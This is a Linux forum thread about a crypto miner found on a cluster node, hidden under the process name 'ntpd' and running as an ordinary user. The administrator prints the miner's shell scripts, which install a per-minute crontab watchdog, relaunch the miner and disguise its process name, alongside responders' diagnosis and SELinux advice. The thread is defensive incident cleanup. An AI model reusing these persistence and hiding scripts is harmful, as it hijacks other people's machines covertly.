ntpd eating all CPUs (!)

[mahmood]

I see that a user process is eating all cpu resources (32 cores) according to top command

Code: Select all

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
13427 jafarian  20   0 2319732  72848   1656 S  2922  0.1   1293:00 sh

When I check the cmline of 13427, I get ntpd

Code: Select all

[root@rocks7 ~]# cat /proc/13427/cmdline
ntpd[root@rocks7 ~]#

Even when I kill with -9 option, I quickly see a similar process running up again!
I even killed all user processes, but still see that on the system. It is really bothering.... Why ntpd is running by a non admin user?

The nptd entries in /var/log/messages shows nothing suspicious

Code: Select all

[root@rocks7 ~]# cat /var/log/messages | grep ntpd
Sep 24 14:23:00 rocks7 ntpd[32277]: ntpd 4.2.6p5@1.2349-o Wed Apr 12 21:24:06 UTC 2017 (1)
Sep 24 14:23:00 rocks7 ntpd[32280]: proto: precision = 0.160 usec
Sep 24 14:23:00 rocks7 ntpd[32280]: 0.0.0.0 c01d 0d kern kernel time sync enabled
Sep 24 14:23:00 rocks7 ntpd[32280]: Listen and drop on 0 v4wildcard 0.0.0.0 UDP 123
Sep 24 14:23:00 rocks7 ntpd[32280]: Listen and drop on 1 v6wildcard :: UDP 123
Sep 24 14:23:00 rocks7 ntpd[32280]: Listen normally on 2 lo 127.0.0.1 UDP 123
Sep 24 14:23:00 rocks7 ntpd[32280]: Listen normally on 3 enp3s0 10.1.1.1 UDP 123
Sep 24 14:23:00 rocks7 ntpd[32280]: Listen normally on 4 enp2s0f0 172.20.54.10 UDP 123
Sep 24 14:23:00 rocks7 ntpd[32280]: Listen normally on 5 virbr0 192.168.122.1 UDP 123
Sep 24 14:23:00 rocks7 ntpd[32280]: Listen normally on 6 lo ::1 UDP 123
Sep 24 14:23:00 rocks7 ntpd[32280]: Listen normally on 7 enp2s0f0 fe80::2e0:81ff:fec6:d534 UDP 123
Sep 24 14:23:00 rocks7 ntpd[32280]: Listen normally on 8 enp3s0 fe80::2e0:81ff:fec6:d701 UDP 123
Sep 24 14:23:00 rocks7 ntpd[32280]: Listening on routing socket on fd #25 for interface updates
Sep 24 14:23:02 rocks7 ntpd[32280]: 0.0.0.0 c016 06 restart
Sep 24 14:23:02 rocks7 ntpd[32280]: 0.0.0.0 c012 02 freq_set kernel 0.000 PPM
Sep 24 14:23:02 rocks7 ntpd[32280]: 0.0.0.0 c011 01 freq_not_set
Sep 24 14:23:08 rocks7 ntpd[32280]: 0.0.0.0 c614 04 freq_mode
Sep 24 14:41:15 rocks7 ntpd[32280]: 0.0.0.0 0612 02 freq_set kernel -28.500 PPM
Sep 24 14:41:15 rocks7 ntpd[32280]: 0.0.0.0 0615 05 clock_sync

Also the service is running fine

Code: Select all

[root@rocks7 ~]# systemctl status ntpd
● ntpd.service - Network Time Service
   Loaded: loaded (/usr/lib/systemd/system/ntpd.service; disabled; vendor preset: disabled)
   Active: active (running) since Mon 2018-09-24 14:23:00 +0330; 9h ago
  Process: 32277 ExecStart=/usr/sbin/ntpd -u ntp:ntp $OPTIONS (code=exited, status=0/SUCCESS)
 Main PID: 32280 (ntpd)
   CGroup: /system.slice/ntpd.service
           └─32280 /usr/sbin/ntpd -u ntp:ntp -g

Sep 24 14:23:00 rocks7.jupiterclusterscu.com ntpd[32280]: Listen normally on 7 enp2s0f0 fe80::2...23
Sep 24 14:23:00 rocks7.jupiterclusterscu.com ntpd[32280]: Listen normally on 8 enp3s0 fe80::2e0...23
Sep 24 14:23:00 rocks7.jupiterclusterscu.com ntpd[32280]: Listening on routing socket on fd #25...es
Sep 24 14:23:00 rocks7.jupiterclusterscu.com systemd[1]: Started Network Time Service.
Sep 24 14:23:02 rocks7.jupiterclusterscu.com ntpd[32280]: 0.0.0.0 c016 06 restart
Sep 24 14:23:02 rocks7.jupiterclusterscu.com ntpd[32280]: 0.0.0.0 c012 02 freq_set kernel 0.000 PPM
Sep 24 14:23:02 rocks7.jupiterclusterscu.com ntpd[32280]: 0.0.0.0 c011 01 freq_not_set
Sep 24 14:23:08 rocks7.jupiterclusterscu.com ntpd[32280]: 0.0.0.0 c614 04 freq_mode
Sep 24 14:41:15 rocks7.jupiterclusterscu.com ntpd[32280]: 0.0.0.0 0612 02 freq_set kernel -28.5...PM
Sep 24 14:41:15 rocks7.jupiterclusterscu.com ntpd[32280]: 0.0.0.0 0615 05 clock_sync
Hint: Some lines were ellipsized, use -l to show in full.

Any guess?

[TrevorH]

The easiest and simplest answer is that it's not an ntp daemon. None of the pids match the ones listed in your systemctl output and since ntp needs to open ports < 1024, that requires root access and your process is not root (thankfully).

Given the cpu usage I'd say you have yourself a crypto miner running. What do /proc/$pid/exe and /proc/$pid/cwd point to?

[hunter86_bg]

Also, I am pretty convinced that SELINUX is either in permissive or disabled.

[mahmood]

Yes. It seems that srlinux is disabled and the process is suspecious

Code: Select all

[root@rocks7 cwd]# ls
?         cron.d  dir.dir  run  start  upd
bash.pid  crv     g.js     sh   t
[root@rocks7 cwd]# sestatus
SELinux status:                 disabled
[root@rocks7 cwd]#

[mahmood]

And why I am not able to enable selinux?

Code: Select all

[root@rocks7 ~]# getenforce
Disabled
[root@rocks7 ~]# sestatus
SELinux status:                 disabled
[root@rocks7 ~]# setenforce  Enforcing
setenforce: SELinux is disabled
[root@rocks7 ~]# setenforce 1
setenforce: SELinux is disabled
[root@rocks7 ~]# setenforce 0
setenforce: SELinux is disabled
[root@rocks7 ~]# setenforce Permissive
setenforce: SELinux is disabled
[root@rocks7 ~]# setenforce Enforcing
setenforce: SELinux is disabled

[mahmood]

OK I was able to see the crob job

[root@rocks7 cwd]# cat cron.d
* * * * * /home/jafarian/.local/cpu/bin/upd >/dev/null 2>&1

and then I deleted the cron and /home/jafarian/.local/cpu
Apart from selinux, I think it is now fine.

[mahmood]

Guys, unfortunately, the crypto miner is still alive!!

However, there is no crond job for that.

Code: Select all

[root@rocks7 cwd]# ls
crv  g.js  run  sh  start  t  upd
[root@rocks7 cwd]# cat crv
pwd > dir.dir
dir=$(cat dir.dir)
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep upd
echo "#!/bin/sh
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
sleep 1
else
cd $dir
./run &>/dev/null
exit 0
fi
fi" >upd
chmod u+x upd
./run &>/dev/null
[root@rocks7 cwd]# cat run
#!/bin/bash

proc=`nproc`
ARCH=`uname -m`
HIDE="ntpd"

if [ "$ARCH" == "x86_64" ];       then
      ./t -s $HIDE   ./sh >>/dev/null &
elif [ "$ARCH" == "i686" ];   then
      ./t -s $HIDE  ./sh >>/dev/null &
                                else
      ./t -s $HIDE./sh >>/dev/null &
fi
echo $! > bash.pid[root@rocks7 cwd]#
[root@rocks7 cwd]#
[root@rocks7 cwd]#
[root@rocks7 cwd]# cat start
nohup ./crv >>/dev/null &

[mahmood]

after searching all instances of upd, I removed another hidden folder in ~/.dbus/cpu/nib/upd

Now and after some hours I don't see any malicious activity. I think it has been gone!

[tunk]

Maybe you should talk to the user, and if she/he hasn't started it, change the password.
Also, can you now enable selinux?

[lightman47]

Selinux -

edit /etc/selinux/config and set SELINUX=enforcing, then reboot